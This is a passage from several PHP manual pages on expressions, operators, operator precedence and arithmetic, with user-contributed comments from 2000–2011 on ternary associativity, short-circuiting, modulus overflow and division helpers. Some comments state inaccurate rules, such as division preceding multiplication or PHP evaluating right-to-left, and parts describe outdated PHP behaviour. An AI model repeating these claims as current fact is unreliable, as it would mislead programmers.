echo "\$b = \$a++, so \$b = $b and \$a = $a<br>";
?>

HTH
egonfreeman at gmail dot com 04-Apr-2007 07:45
It is worthy to mention that:

$n = 3;
$n * --$n

WILL RETURN 4 instead of 6.

It can be a hard to spot "error", because in our human thought process this really isn't an error at all! But you have to remember that PHP (as it is with many other high-level languages) evaluates its statements RIGHT-TO-LEFT, and therefore "--$n" comes BEFORE multiplying, so - in the end - it's really "2 * 2", not "3 * 2".

It is also worthy to mention that the same behavior will change:

$n = 3;
$n * $n++

from 3 * 3 into 3 * 4. Post- operations operate on a variable after it has been 'checked', but it doesn't necessarily state that it should happen AFTER an evaluation is over (on the contrary, as a matter of fact).

So, if you ever find yourself on a 'wild goose chase' for a bug in that "impossible-to-break, so-very-simple" piece of code that uses pre-/post-'s, remember this post. :)

(just thought I'd check it out - turns out I was right :P)
shawnster 14-Feb-2007 04:56
An easy fix (although intuitively tough to do...) is to reverse the comparison.

if (5 == $a) {}

If you forget the second '=', you'll get a parse error for trying to assign a value to a non-variable.
nabil_kadimi at hotmail dot com 29-Jan-2007 07:46
Attention! php will not warn you if you write (1) When you mean (2)

(1)
<?
if($a=0)
    echo "condition is true";
else
    echo "condition is false";
//output: condition is false
?>

(2)
<?
if($a==0)
    echo "condition is true";
else
    echo "condition is false";
//output: condition is true
?>
richard at phase4 dot ie 19-Jan-2006 12:00
Follow up on Martin K. There are no hard and fast rules regarding operator precedence. Newbies should definitely learn them, but if their use results in code that is not easy to read you should use parentheses. The two important things are that it works properly AND is maintainable by you and others.
Martin K 20-Oct-2005 06:28
At 04-Feb-2005 05:13, tom at darlingpet dot com said:
> It's also a good idea to use parenthesis when using something SIMILAR to:
>
> <?php
> echo (trim($var)=="") ? "empty" : "not empty";
> ?>

No, it's a BAD idea.

All the short-circuiting operators, including the ternary conditional operator, have LOWER precedence than the comparison operators, so they almost NEVER need parentheses around their subexpressions.

Inserting the parentheses suggested above does not change the meaning of the code, but their use misleads inexperienced programmers to expect that things like this will work in a similar manner:

<?php
function my_print($a) { print($a); }
my_print (trim($var)=="") ? "empty" : "not empty";
?>

when of course it doesn't.

Rather than worrying that code doesn't work as expected, simply learn the precedence rules (http://www.php.net/manual/en/language.operators.php) so that one expects the right things.
stochnagara at hotmail dot com 19-Aug-2005 05:06
12345alex at gmx dot net 's case is actually handled by the === operator. That's what he needs.

There is also another widely used function. I call it myself is_nil which is true for NULL,FALSE,array() and '', but not for 0 and "0".

function is_nil ($value) {
 return !$value && $value !== 0 && $value !== '0';
}

Another useful function is "get first argument if it is not empty or get second argument otherwise". The code is:

function def ($value, $defaultValue) {
 return is_nil ($value) ? $defaultValue : $value;
}
12345alex at gmx dot net 14-Aug-2005 07:00
this code:
    print array() == NULL ? "True" : "False";
    print " (" . (array() == NULL) . ")\n";

    $arr = array();
    print array() == $arr ? "True" : "False";
    print " (" . (array() == $arr) . ")\n";

    print count(array()) . "\n";
    print count(NULL) . "\n";

will output (on php4 and php5):
    True (1)
    True (1)
    0
    0

so to decide wether i have NULL or an empty array i will also have to use gettype(). this seems some kind of weird for me, although if is this is a bug, somebody should have noticed it before.

alex
sabinx at gmail dot com 26-Jun-2005 11:25
Pre- and Post-Incrementation, I believe, are important to note and in the correct place. The section deals with the value of an expression. ++$a and $a++ have different values, and both forms have valid uses.

And, because it can be confusing, it is that much more important to note. Although it could be worded better, it does belong.
31-May-2005 12:07
I don't see why it is necessary here to explain pre- and post- incrementing.

This is something that will confuse new users of PHP, even longer time programmers will sometimes miss a the fine details of a construct like that.

If something has a side-effect it should be on a line of it's own, or at least be an expression of it's own and not part of an assignment, condition or whatever.
tom at darlingpet dot com 04-Feb-2005 02:13
Something I've noticed with ternary expressions is if you do something like :

<?= $var=="something" ? "is something" : "not something"; ?>

It will give wacky results sometimes...

So be sure to enclose the ternary expression in parenthesis when ever necessary (such as having multiple expressions or nested ternary expressions)

The above could look like:

<?= ($var=="something") ? "is something" : "not something"; ?>

It's also a good idea to use parenthesis when using something SIMILAR to:

<?php
echo (trim($var)=="") ? "empty" : "not empty";
?>

In some cases other than the <?= ?> example, not placing the entire expression in appropriate parenthesis might yield undesirable results as well.. but I'm not quite sure.
stian at datanerd dot net 25-Feb-2003 02:37
The short-circuit feature is indeed intended, and there are two types of evaluators, those who DO short-circuit, and those who DON'T, || / && and | / & respectively.
The latter method is the bitwise operators, but works great with the usual boolean values ( 0/1 )

So if you don't want short-circuiting, try using the | and & instead.

Read more about the bitwise operators here:
http://www.php.net/manual/en/language.operators.bitwise.php
oliver at hankeln-online dot de 07-Aug-2002 06:06
The short-circuiting IS a feature. It is also available in C, so I suppose the developers won´t remove it in future PHP versions.

It is rather nice to write:

$file=fopen("foo","r") or die("Error!");

Greets,
Oliver
php at cotest dot com 17-Jul-2002 11:08
It should probably be mentioned that the short-circuiting of expressions (mentioned in some of the comments above) is often called "lazy evaluation" (in case someone else searches for the term "lazy" on this page and comes up empty!).
Mattias at mail dot ee 25-May-2002 03:29
A note about the short-circuit behaviour of the boolean operators.

1. if (func1() || func2())
Now, if func1() returns true, func2() isn't run, since the expression
will be true anyway.

2. if (func1() && func2())
Now, if func1() returns false, func2() isn't run, since the expression
will be false anyway.

The reason for this behaviour comes probably from the programming
language C, on which PHP seems to be based on. There the
short-circuiting can be a very useful tool. For example:

int * myarray = a_func_to_set_myarray(); // init the array
if (myarray != NULL && myarray[0] != 4321) // check
    myarray[0] = 1234;

Now, the pointer myarray is checked for being not null, then the
contents of the array is validated. This is important, because if
you try to access an array whose address is invalid, the program
will crash and die a horrible death. But thanks to the short
circuiting, if myarray == NULL then myarray[0] won't be accessed,
and the program will work fine.
yasuo_ohgaki at hotmail dot com 11-Mar-2001 11:14
Manual defines "expression is anything that has value", Therefore, parser will give error for following code.

<?php
($val) ? echo('true') : echo('false');
Note: "? : " operator has this syntax  "expr ? expr : expr;"
?>

since echo does not have(return) value and ?: expects expression(value).

However, if function/language constructs that have/return value, such as include(), parser compiles code.

Note: User defined functions always have/return value without explicit return statement (returns NULL if there is no return statement). Therefore, user defined functions are always valid expressions.
[It may be useful to have VOID as new type to prevent programmer to use function as RVALUE by mistake]

For example,

<?php
($val) ? include('true.inc') : include('false.inc');
?>

is valid, since "include" returns value.

The fact "echo" does not return value(="echo" is not a expression), is less obvious to me.

Print() and Echo() is NOT identical since print() has/returns value and can be a valid expression.
anthony at n dot o dot s dot p dot a dot m dot trams dot com 24-Nov-2000 11:01
The ternary conditional operator is a useful way of avoiding inconvenient if statements.  They can even be used in the middle of a string concatenation, if you use parentheses.

Example:

if ( $wakka ) {
  $string = 'foo' ;
} else {
  $string = 'bar' ;
}

The above can be expressed like the following:

$string = $wakka ? 'foo' : 'bar' ;

If $wakka is true, $string is assigned 'foo', and if it's false, $string is assigned 'bar'.

To do the same in a concatenation, try:

$string = $otherString . ( $wakka ? 'foo' : 'bar' ) ;
Magic constants
Operators
Language Reference


Operators

Table of Contents

  • Operator Precedence
  • Arithmetic Operators
  • Assignment Operators
  • Bitwise Operators
  • Comparison Operators
  • Error Control Operators
  • Execution Operators
  • Incrementing/Decrementing Operators
  • Logical Operators
  • String Operators
  • Array Operators
  • Type Operators

An operator is something that takes one or more values (or expressions, in programming jargon) and yields another value (so that the construction itself becomes an expression).

Operators can be grouped according to the number of values they take. Unary operators take only one value, for example ! (the logical not operator) or ++ (the increment operator). Binary operators take two values, such as the familiar arithmetical operators + (plus) and - (minus), and the majority of PHP operators fall into this category. Finally, there is a single ternary operator, ? :, which takes three values; this is usually referred to simply as "the ternary operator" (although it could perhaps more properly be called the conditional operator).

A full list of PHP operators follows in the section Operator Precedence. This also explains operator Presedence and Associativity, which govern exactly how expressions containing several different operators are evaluated.

User Contributed Notes

pgarvin76+php dot net at NOSPAMgmail dot com 29-Dec-2008 04:43
Method chaining is read left to right (left associative):
<?php

class Test_Method_Chain
{
    public function One()
    {
        echo "One" . PHP_EOL;
        return $this;
    }

    public function Two()
    {
        echo "Two" . PHP_EOL;
        return $this;
    }

    public function Three()
    {
        echo "Three" . PHP_EOL;
        return $this;
    }
}

$test = new Test_Method_Chain();

$test->One()->Two()->Three();

/* Ouputs:
One
Two
Three
*/
?>
ddascalescu at gmail dot com 23-Oct-2008 06:53
The -> operator, not listed above, is called "object operator" (T_OBJECT_OPERATOR).
figroc at gmail dot com 02-Aug-2008 03:30
The variable symbol '$' should be considered as the highest-precedence operator, so that the variable variables such as $$a[0] won't confuse the parser.  [http://www.php.net/manual/en/language.variables.variable.php]
phpnet dot 20 dot dpnsubs at xoxy dot net 01-Nov-2007 02:13
Note that in php the ternary operator ?: has a left associativity unlike in C and C++ where it has right associativity.

You cannot write code like this (as you may have accustomed to in C/C++):
<?php
$a = 2;
echo (
    $a == 1 ? 'one' :
    $a == 2 ? 'two' :
    $a == 3 ? 'three' :
    $a == 4 ? 'four' : 'other');
echo "\n";
// prints 'four'
?>

You need to add brackets to get the results you want:
<?
$a = 2;

echo ($a == 1 ? 'one' :
        ($a == 2 ? 'two' :
        ($a == 3 ? 'three' :
        ($a == 4 ? 'four' : 'other') ) ) );
echo "\n";
//prints 'two'

?>
Gautam 10-Oct-2007 03:22
<?php

$result1 = 7 + 8 * 9/3 -4;
$result2 = 7 + 8 * (9/3 -4);
$result3 =(7 + 8)* 9/3 -4;

echo "Result1 for 7 + 8 * 9/3 -4 = $result1  Result2 for 7 + 8 * (9/3 -4) = $result2 and Result3 (7 + 8)* 9/3 -4 = $result3 "
/*
 which gives results as under
 Result1 for 7 + 8 * 9/3 -4 = 27 Result2 for 7 + 8 * (9/3 -4) = -1 and Result3 (7 + 8)* 9/3 -4 = 41
 Execution Order is 1) expression in brackets 2) division 3) multiplication 4) addition and 5) subtraction
*/
?>
janturon at email dot cz 08-Oct-2007 06:42
This is very common problem: set one variable to another, if it is not empty. If it is, set it to something else.
For example: set $bar to $foo, if $foo is empty, set $bar to "undefined";

if(!empty($foo)) $bar= $foo; else $bar= "undefined";

OR operator can shorten it:

$bar= @$foo or $bar= "undefined";
me at robrosenbaum dot com 12-Jul-2007 12:16
The scope resolution operator ::, which is missing from the list above, has higher precedence than [], and lower precedence than 'new'. This means that self::$array[$var] works as expected.
madcoder at gmail dot com 09-Jun-2007 03:17
In response to mathiasrav at gmail dot com:

The reason for that behavior is the parentheses.  From the description:

"Parentheses may be used to force precedence, if necessary. For instance: (1 + 5) * 3 evaluates to 18."

So the order of operations says that even though the equality operator has higher precedence, the parentheses in your statement force the assignment operator to a higher precedence than the equality operator.

That said, it still doesn't work the way you expect it to.  Neither way works, for these reasons:
<?php
if ( $a != ($a = $b) )
?>

Order of operations says to do the parentheses first.  So you end up with:
<?php
$a = $b;
if ( $a != $a )
?>

Which is obviously going to be false.  Without the parentheses:
<?php
if ( $a != $a = $b )
?>

Order of operations says to do the inequality first, then the assignment, so you have:
<?php
if ( $a != $a );
$a = $b;
?>

Which again is not what you expected, and again will always be false.  But because you are only working with values of 0 and 1, you can make use of the XOR operator:

<?php
if ( $a ^= $b )
?>

This will only be true if 1) $a is 0 and $b is 1, or 2) $a is 1 and $b is 0.  That is precisely what you wanted, and it even does the assignment the way you expected it to.

<?php
foreach ($ourstring as $c) {
  if ($bold ^= $c['bold']) $resstring .= bold;
  if ($underline ^= $c['underline']) $resstring .= underline;
  $resstring .= $c[0];
}
?>

That code now works and produces the output you expected.
golotyuk at gmail dot com 09-Jul-2006 09:51
Simple POST and PRE incremnt sample:

<?php

$b = 5;
$a = ( ( ++$b ) > 5 ); // Pre-increment test
echo (int)$a;

$b = 5;
$a = ( ( $b++ ) > 5 ); // Post-increment test
echo (int)$a;

?>

This will output 10, because of the difference in post- and pre-increment operations
rick at nomorespam dot fourfront dot ltd dot uk 02-Sep-2005 03:51
A quick note to any C developers out there, assignment expressions are not interpreted as you may expect - take the following code ;-

<?php
$a=array(1,2,3);
$b=array(4,5,6);
$c=1;

$a[$c++]=$b[$c++];

print_r( $a ) ;
?>

This will output;-
Array ( [0] => 1 [1] => 6 [2] => 3 )
as if the code said;-
$a[1]=$b[2];

Under a C compiler the result is;-
Array ( [0] => 1 [1] => 5 [2] => 3 )
as if the code said;-
$a[1]=$b[1];

It would appear that in php the increment in the left side of the assignment is processed prior to processing the right side of the assignment, whereas in C, neither increment occurs until after the assignment.
09-Jun-2004 05:58
of course this should be clear, but i think it has to be mentioned espacially:

AND is not the same like &&

for example:

<?php $a && $b || $c; ?>
is not the same like
<?php $a AND $b || $c; ?>

the first thing is
(a and b) or c

the second
a and (b or c)

'cause || has got a higher priority than and, but less than &&

of course, using always [ && and || ] or [ AND and OR ] would be okay, but than you should at least respect the following:

<?php $a = $b && $c; ?>
<?php $a = $b AND $c; ?>

the first code will set $a to the result of the comparison $b with $c, both have to be true, while the second code line will set $a like $b and THAN - after that - compare the success of this with the value of $c

maybe usefull for some tricky coding and helpfull to prevent bugs :D

greetz, Warhog
yasuo_ohgaki at hotmail dot com 25-Mar-2001 11:53
Other Language books' operator precedence section usually include "(" and ")" - with exception of a Perl book that I have. (In PHP "{" and "}" should also be considered also). However, PHP Manual is not listed "(" and ")" in precedence list. It looks like "(" and ")" has higher precedence as it should be.

Note: If you write following code, you would need "()" to get expected value.

<?php
$bar = true;
$str = "TEST". ($bar ? 'true' : 'false') ."TEST";
?>

Without "(" and ")" you will get only "true" in $str.
(PHP4.0.4pl1/Apache DSO/Linux, PHP4.0.5RC1/Apache DSO/W2K Server)
It's due to precedence, probably.
Expressions
Operator Precedence
Language Reference


Operator Precedence

The precedence of an operator specifies how "tightly" it binds two expressions together. For example, in the expression 1 + 5 * 3, the answer is 16 and not 18 because the multiplication ("*") operator has a higher precedence than the addition ("+") operator. Parentheses may be used to force precedence, if necessary. For instance: (1 + 5) * 3 evaluates to 18.

When operators have equal precedence, their associativity decides whether they are evaluated starting from the right, or starting from the left - see the examples below.

The following table lists the operators in order of precedence, with the highest-precedence ones at the top. Operators on the same line have equal precedence, in which case associativity decides the order of evaluation.

Operator Precedence
Associativity | Operators | Additional Information
non-associative | clone new | clone and new
left | [ | array()
non-associative | ++ -- | increment/decrement
right | ~ - (int) (float) (string) (array) (object) (bool) @ | types
non-associative | instanceof | types
right | ! | logical
left | * / % | arithmetic
left | + - . | arithmetic and string
left | << >> | bitwise
non-associative | < <= > >= <> | comparison
non-associative | == != === !== | comparison
left | & | bitwise and references
left | ^ | bitwise
left | | | bitwise
left | && | logical
left | || | logical
left | ? : | ternary
right | = += -= *= /= .= %= &= |= ^= <<= >>= => | assignment
left | and | logical
left | xor | logical
left | or | logical
left | , | many uses

For operators of equal precedence, left associativity means that evaluation proceeds from left to right, and right associativity means the opposite.

Example #1 Associativity

<?php
$a = 3 * 3 % 5; // (3 * 3) % 5 = 4
$a = true ? 0 : true ? 1 : 2; // (true ? 0 : true) ? 1 : 2 = 2

$a = 1;
$b = 2;
$a = $b += 3; // $a = ($b += 3) -> $a = 5, $b = 5

// mixing ++ and + produces undefined behavior
$a = 1;
echo ++$a + $a++; // may print 4 or 5
?>
Use of parentheses, even when not strictly necessary, can often increase readability of the code.

Note:

Although = has a lower precedence than most other operators, PHP will still allow expressions similar to the following: if (!$a = foo()), in which case the return value of foo() is put into $a.

User Contributed Notes

Christopher Schramm 02-Jul-2011 09:29
( - the function call operator - has higher precedence than ++ and --, but lower precedence than [.

Therefore you can do the following:

<?php
$func[0] = 'exit';
$func[0]();
?>

But the following will cause a syntax error:

<?php
function func() {
    return array('string');
}
func()[0];
?>
charles at pilger dot com dot br 09-Feb-2011 12:00
Be very careful with the precedence. See this code:

<?php
$a = 1;
$b = null;
$c = isset($a) && isset($b);
$d = ( isset($a) and isset($b) );
$e = isset($a) and isset($b);
var_dump($a, $b, $c, $d, $e);
?>

Result:

int(1)
NULL
bool(false)
bool(false)
bool(true) <==
kiamlaluno at avpnet dot org 12-Jul-2010 04:41
Be careful of the difference between

<?php
$obj = new class::$staticVariable();
?>

<?php
$value = class::$staticVariable();
?>

In the first case, the object class will depend on the static variable class::$staticVariable, while in the second case it will be invoked the method whose name is contained in the variable $staticVariable.
headden at karelia dot ru 09-Jun-2009 04:02
Although example above already shows it, I'd like to explicitly state that ?: associativity DIFFERS from that of C++. I.e. convenient switch/case-like expressions of the form

$i==1 ? "one" :
$i==2 ? "two" :
$i==3 ? "three" :
"error";

will not work in PHP as expected
Pies 08-Feb-2009 11:22
You can use the "or" and "and" keywords' lower precedence for a bit of syntax candy:

<?php

$page = (int) @$_GET['page'] or $page = 1;

?>
Operators
Arithmetic Operators
Operators


Arithmetic Operators

Remember basic arithmetic from school? These work just like those.

Arithmetic Operators
Example | Name | Result
-$a | Negation | Opposite of $a.
$a + $b | Addition | Sum of $a and $b.
$a - $b | Subtraction | Difference of $a and $b.
$a * $b | Multiplication | Product of $a and $b.
$a / $b | Division | Quotient of $a and $b.
$a % $b | Modulus | Remainder of $a divided by $b.

The division operator ("/") returns a float value unless the two operands are integers (or strings that get converted to integers) and the numbers are evenly divisible, in which case an integer value will be returned.

Operands of modulus are converted to integers (by stripping the decimal part) before processing.

The result of the modulus operator % has the same sign as the dividend — that is, the result of $a % $b will have the same sign as $a. For example:

<?php

echo (5 % 3)."\n";           // prints 2
echo (5 % -3)."\n";          // prints 2
echo (-5 % 3)."\n";          // prints -2
echo (-5 % -3)."\n";         // prints -2

?>

See also the manual page on Math functions.

User Contributed Notes

zehntor at netcabo dot pt 11-Oct-2011 06:50
The simplest way to test if a number is divisible by another:

<?php

if($n1 % $n2 == 0) echo "n1 is divisible by n2";

?>
milespickens+php at gmail dot com 23-Aug-2011 03:00
I have found a simple way to test if a number is divisible by another.

<?php

    for ($x=0; $x<14; $x++) {
        $num = $x/3; //if $x is NOT divisible, $num will be a float
        if (is_int($num)) {
            echo $x . ' is divisible by 3 <br />';
        }
    }

?>

This would output:
3  is divisible by 3
6  is divisible by 3
9  is divisible by 3
12  is divisible by 3
php at richardneill dot org 18-Apr-2011 08:13
For larger numbers (above PHP_INT_MAX), use fmod() rather than %.
The other operators (+-*/) work correctly with floats and integer overflow, but % uses integer wrap. Eg.

<?php
var_dump(0xffffffff % 2);
//Prints  int(-1)   which is WRONG

var_dump(intval(fmod(0xffffffff,2)));
//Prints int(1)   which is the right answer
?>

(The reason this matters is that PHP's float is actually a double, and can accurately represent integers up to 52-bits, even on 32-bit systems)
xadart at ymail dot com 17-Apr-2011 06:14
When using %, the dividend is always the result if it's lower than the divisor.

<?php
# dividend % divisor
$x = (123 % 500); # 123
$y = (7 % 8); # 7
?>

This is because e.g. 123 / 500 = 0 and 123 is left over.
Walter Tross 31-Jan-2011 06:15
if you want $n % $m >= 0 and $n % $m == ($n + $m) % $m to hold everywhere except for overflows:

<?php
function modulo($n, $m)
{
   $r = $n % $m;
   return $r < 0 ? $r + abs($m) : $r; // replace abs($m) with $m if you know that $m > 0
}
?>
cadde at notmymail dot com 20-Aug-2010 04:42
Note on the modulus operators returning negative values for great numbers... For instance:

<?PHP
$a = pow(2, 31); // You expect it to be 2147483648 but under the surface it's actually -2147483648 because the variable is signed.

$a = 50856937683; // You expect it to be 50856937683 but something odd is going on here where you are breaking the 32 bit storage and it converts to either -682669869 or -1116408691
?>

I don't have the time to actually check which of the two negatives it converts to but that is why it returns a negative value either way.
crazycat at c-p-f dot org 28-Jul-2010 05:42
I notice a trouble with the modulus operator, when trying to work with great values:
<?php
function modulo($val, $div) {
    $r = $val - (floor($val/$div)*$div);
    return $r;
}

$values = array(375389654, 50856937683);
$divs = array(2, 16, 62);
foreach ($values as $v) {
    foreach ($divs as $d) {
        echo $v, '%', $d, ' gives ', modulo($v, $d), ' but get ', ($v%$d), '<br />';
    }
}
?>
And output :
<?php
/*
375389654%2 gives 0 but get 0
375389654%16 gives 6 but get 6
375389654%62 gives 52 but get 52
50856937683%2 gives 1 but get -1
50856937683%16 gives 3 but get -13
50856937683%62 gives 27 but get -21
*/
?>
csaba at alum dot mit dot edu 31-May-2010 04:20
Here are three functions dealing with the prime factorization of integers.  The first function completely factorizes a number.  The second one returns distinct prime factors.  The third one returns all its factors.

<?php
function factorize($num) {
  // Returns a sorted array of the prime factorization of $num
  // Caches prior results.  Returns empty array for |$num|<2
  // eg. factorize(360) => [5, 3, 3, 2, 2, 2]
  static $aFactors = array();
  if (2>$num=abs($num)) return array();  // negatives, 1, 0

  if ($aFactors[$key = "x$num"]) {     // handles doubles
    // Been there, done that
    if (($factor=$aFactors[$key])==$num) return array($num);
    return array_merge(factorize($num/$factor),array($factor)); }

  // Find a smallest factor
  for ($sqrt = sqrt($num),$factor=2;$factor<=$sqrt;++$factor)
    if (floor($num/$factor)==$num/$factor)
      return array_merge(factorize($num/$factor),
                         array($aFactors[$key] = $factor));

  return (array($aFactors[$key] = $num));  }  // $num is prime

function primeFactors($num) {
  // Returns an array of each distinct prime factor of $num
  // eg. primeFactors(360) => [5, 3, 2]
  return array_keys(array_flip(factorize($num)));  }

function allFactors($num) {
  // Returns an (unsorted) array of each factor of $num
  // eg. allFactors(30) => [1, 5, 3, 15, 2, 10, 6, 30]
  // eg. allFactors(64) => [1, 2, 4, 8, 16, 32, 64]
  $aFacts = array(1 => 1);
  foreach (factorize($num) as $factor)
    foreach ($aFacts as $fact => $whatever)
      $aFacts[$fact * $factor] = 1;
  return array_keys($aFacts);  }
?>
dragos dot rusu at NOSPAM dot bytex dot ro 07-Mar-2010 05:21
Although some would know this, I had to try in order to understand. Modulus and multiplication operators are not associative; they will execute from left to right.

<?php
$a = 23;
$b = 5;
$c = 2;
$d = $a % $b * $c;  // <=> (23%5) * 2 = 3  * 2 = 6
$d2 = $c * $a % $b; // <=> (2*23) % 5 = 46 % 5 = 1
var_dump($d);
var_dump($d2);
?>
dnhuff at acm dor org 07-Nov-2008 11:42
The rules for converting from string to number are in the manual.
It is not true that 'all strings will be converted to 0' yet it certainly is true that some of them will be.

"1" will be treated as 1 in an arithmetic expression, for example.
olilo 24-Sep-2008 01:34
It should be noted that every string will be converted to 0.

<?php
/* tested under PHP 5.2.3-1ubuntu6 (cli) (built: Oct  4 2007 23:35:54) */

echo "foo" * "bar";
echo "foo" / "bar";

?>

Results:

0
Warning: Division by zero in /tmp/test.php on line 3
TheWanderer 05-Jun-2008 03:52
It is worth noticing that when working with large numbers, most noticably using the modulo operator, the results depend on your CPU architecture. Therefore, running a decent 64-bit machine will be to your advantage in case you have to perform complex mathematical operations. Here is some example code - you can compare its output on x86 and x86_64 machines:
<?php
/* tested under PHP 5.2.6-1 with Suhosin-Patch 0.9.6.2 (cli) on both i386 and amd64, Debian lenny/sid */
$a = 2863311530;
$b = 256;
$c = $a % $b;
echo "$c <br />\n";
echo (2863311530 % 256)." <br />\n"; /* directly with no variables, just to be sure */
?>

The code is expected to produce '170' if working correctly (try it in spreadsheet software).
calmarius at atw dot hu 15-May-2008 06:19
Be careful when using % with large numbers.

The code:

<?php
    echo 3333333333 % 3
?>

puts out -1 instead of zero!

(Due to the overflow)
daevid at daevid dot com 14-Nov-2007 12:33
Here's a neat little trick to use ASCII escape codes to show processing in a CLI script.

#!/usr/bin/php -q
<?php
//http://www.cs.csubak.edu/Tables_Charts/VT100_Escape_Codes.html

define('ESC', 27);
printf( "%c[2J", ESC ); //clear screen

//note how the '-' is at [1], not [0]
$cursorArray = array('/','-','\\','|','/','-','\\','|');

echo "Processing: ";

printf( "%c7", ESC ); //save cursor position

for ($count = 1; $count <= 30; $count++)
{
    //note that $i is all self contained.
    printf("%c8(".$cursorArray[ (($i++ > 7) ? ($i = 1) : ($i % 8)) ].") %02d", ESC, $count); //restore cursor position and print
    sleep(1);
}

echo "\nDone.\n";
?>
mdirks at gulfstreamcoach dot com 22-Aug-2007 04:47
In reply to TChan:

If the documentation doesn't match the behavior of the language, then this is a bug which needs to be reported and and dealt with by "them" by either fixing the language to behave as the documentation states, or change the documentation to reflect the exceptions and in which version(s) they exist.

Given that we're probably both right for at least some version of PHP ... which doesn't help with people sharing PHP code all over the place :-)
thookerov A@T gmail dot com 03-Aug-2007 02:58
To the comment from nicholas_rainard: Your function is much more efficient, but should probably be combined with the first two lines from the function prior to yours:

function int_divide($x, $y) {
    if ($x == 0) return 0;
    if ($y == 0) return FALSE;
    return ($x - ($x % $y)) / $y;
}

Permits for zero in either argument. Also, this always returns the floor of the division. Probably seems obvious to most, but it didn't to me at first. Maybe a rounding function would look like:

function up_or_dn($x, $y) {
    if ($x == 0) return 0;
    if ($y == 0) return FALSE;
    return ($x % $y >= $y / 2) ?
        (($x - ($x % $y)) / $y) + 1 : ($x - ($x % $y)) / $y;
}

Adds 1 if the mod result is more than half $y (which if my math is right means the float result is .5+, so round up).
Simplest example: $x = 3, $y = 2.
nicolas_rainardNOSPAM at yahoo dot fr 10-Jul-2007 02:10
Here is another very simple and extremely fast integer division function, but it works only if the arguments are integers and nothing else. So use it only if you are sure of what you are doing.

function int_int_divide($x, $y) {
    return ($x - ($x % $y)) / $y;
}

This one is much, much faster than the preceding ones.
nicolas_rainard_NOSPAM at yahoo dot fr 06-Jul-2007 04:08
gilthansREMOVEME at gmail dot com proposed a nice integer division function, but its speed greatly depends on the size difference between the two provided numbers. If the first number is very big and the second one is very small, this function will take a (relative) long time to resolve (because of the loop).

Here is another integer division function, wich always takes the same time to resolve, what ever the provided numbers are. In most cases, it will be faster, but if the numbers are close, the other one will be twice as fast. It's up to you to choose one of these functions, depending on the expected input numbers...

function int_divide($x, $y) {
    if ($x == 0) return 0;
    if ($y == 0) return FALSE;
    $result = $x/$y;
    $pos = strpos($result, '.');
    if (!$pos) {
        return $result;
    } else {
        return (int) substr($result, 0, $pos);
    }
}
T Chan 25-Apr-2007 01:10
"It *explicitly* says in the documentation that the division operator *always* returns a float value *regardless* of the types of the operands."

Documentation is not always right. See http://uk.php.net/manual/en/language.operators.arithmetic.php#49371

"Actually I think you meant *smaller*, not larger... the reason floor($a/$b) isn't absolutely equatable with the integer division of $a and $b is explained mainly at http://us3.php.net/float . By the look of things, any number with a loss of precision will be truncated instead of rounded. This would at least make sense in the big picture since truncation is more consistant than rounding."

No. The people who wrote IEEE 754 made the default rounding mode round-to-nearest, because it tends to give a more accurate result. To illustrate, if the true value of a/b is (say) 3.9999999999999999999, this will be rounded up to 4. Then, floor(4) = 4, whereas the true value is 3.

That said, it depends on (at least) the particular version of PHP you're running. PHP doesn't guarantee anything - it can use whatever approximate floating point implementation it likes.
lucas 15-Mar-2007 08:27
following from jonathon's and sean's notes, imho booleans are simpler for alternating rows

<ul>
<?php
$alt=true;
for($i=0;$i<count($items);$i++)
{
 echo '<li'.($alt?' class="alternate"':'').'>'.$items[$i].'</li>';
 $alt=!$alt;
}
?>
</ul>
gilthansREMOVEME at gmail dot com 15-Dec-2006 07:43
1) About integer division: here's a function that neatly solves this. It is somewhat slower than normal division, but is failsafe.
<?php
function integer_divide($x, $y){
    //Returns the integer division of $x/$y.
    $t = 1;
    if($y == 0 || $x == 0)
        return 0;
    if($x < 0 XOR $y < 0) //Mistaken the XOR in the last instance...
        $t = -1;
    $x = abs($x);
    $y = abs($y);
    $ret = 0;
    while(($ret+1)*$y <= $x)
        $ret++;
    return $t*$ret;
}
?>

2) adam.pippin noted about number factoration, however the function returns alot of sequences in text form. This one returns an Array with all the factored numbers of a number. For example, factor(50) would return Array(2, 5, 5).
<?php
function factor($n){
    $ret = Array();
    $i = 2;
    $m = $n/2;
    while($i <= $m){
        if(!($n%$i))
            $ret = array_merge($ret, factor($i), factor($n/$i));
        if($i%2)
            $i+=2; //$i is impair
        else
            $i++;
        //Ideally, you'd only run through prime numbers, but there is no way to tell what is the next prime number; we can be sure, however, that the pair ones aren't prime.
        $m = $n/$i; //If $n isn't divisible by $i, it be assumed it isn't divisible by any number bigger than $n/$i, and if it is divisible by $i, $n/$i is already put in. The derivation for this isn't too complex. This drastically reduces the number of numbers we have to go through during the factoration.
    }
    if(empty($ret))
        return Array($n);
    return $ret;
}
?>
This has only been tested for integers, factoration for floats should include some way to identify the divisor.

Hope this saves someone some headaches.
jon_rhoades at yahoo dot com 27-Nov-2006 04:48
Jonathon Reinhart's neat little function to find out if a value is odd or even doesn't work for floats (this might possibly arithmetically correct but causes the following problem) eg

<?php
12.23 % 2 = 0 not 1
?>

So if you need to find out if the fraction part of a float is odd or even try:

<?php

if (($a /2) != (floor($a /2))){
      echo "$a is odd." ;
}
if (($a /2) == (floor($a /2))){
      echo "$a is even." ;
}
?>
sean at somethinglikemedia dot com 06-Nov-2006 04:02
An easier way of doing alternating row colors is just setting the first row color outside of your loop, calling your loop, and then calling the class or hex code into a single spot, rather than re-creating the entire div both times.

Something like this:

<?php

$class = "odd";

for ($i = 1; $i <= 10; $i++) {
     echo "<div class=\"".$class."\">".$i."</div>";
     if ($class == "odd") { $class = "even"; } else { $class = "odd"; }
}

?>
Jonathon Reinhart 16-Oct-2006 02:11
A very simple yet maybe not obvious use of the modulus (%) operator is to check if an integer is odd or even.
<?php
  if (($a % 2) == 1)
  { echo "$a is odd." ;}
  if (($a % 2) == 0)
  { echo "$a is even." ;}
?>

This is nice when you want to make alternating-color rows on a table, or divs.

<?php
  for ($i = 1; $i <= 10; $i++) {
    if(($i % 2) == 1)  //odd
      {echo "<div class=\"dark\">$i</div>";}
    else   //even
      {echo "<div class=\"light\">$i</div>";}
   }
?>
mdirks at gulfstreamcoach dot com 13-Sep-2006 07:01
Quote from TChan's post:
"...But if you're dealing with ints anyway, (a-a%b)/b has no function calls and returns an int, while floor() always returns a float."

 It *explicitly* says in the documentation that the division operator *always* returns a float value *regardless* of the types of the operands. While you may get the "integer part" of the number that way you will technically not get an integer. PHP may not be too strongly typed for the most part, but it's important to make the distinction.

"... if the 'fractional part' of $a/$b is close to 1, then it can round up, and floor($a/$b) will be larger than it should be."

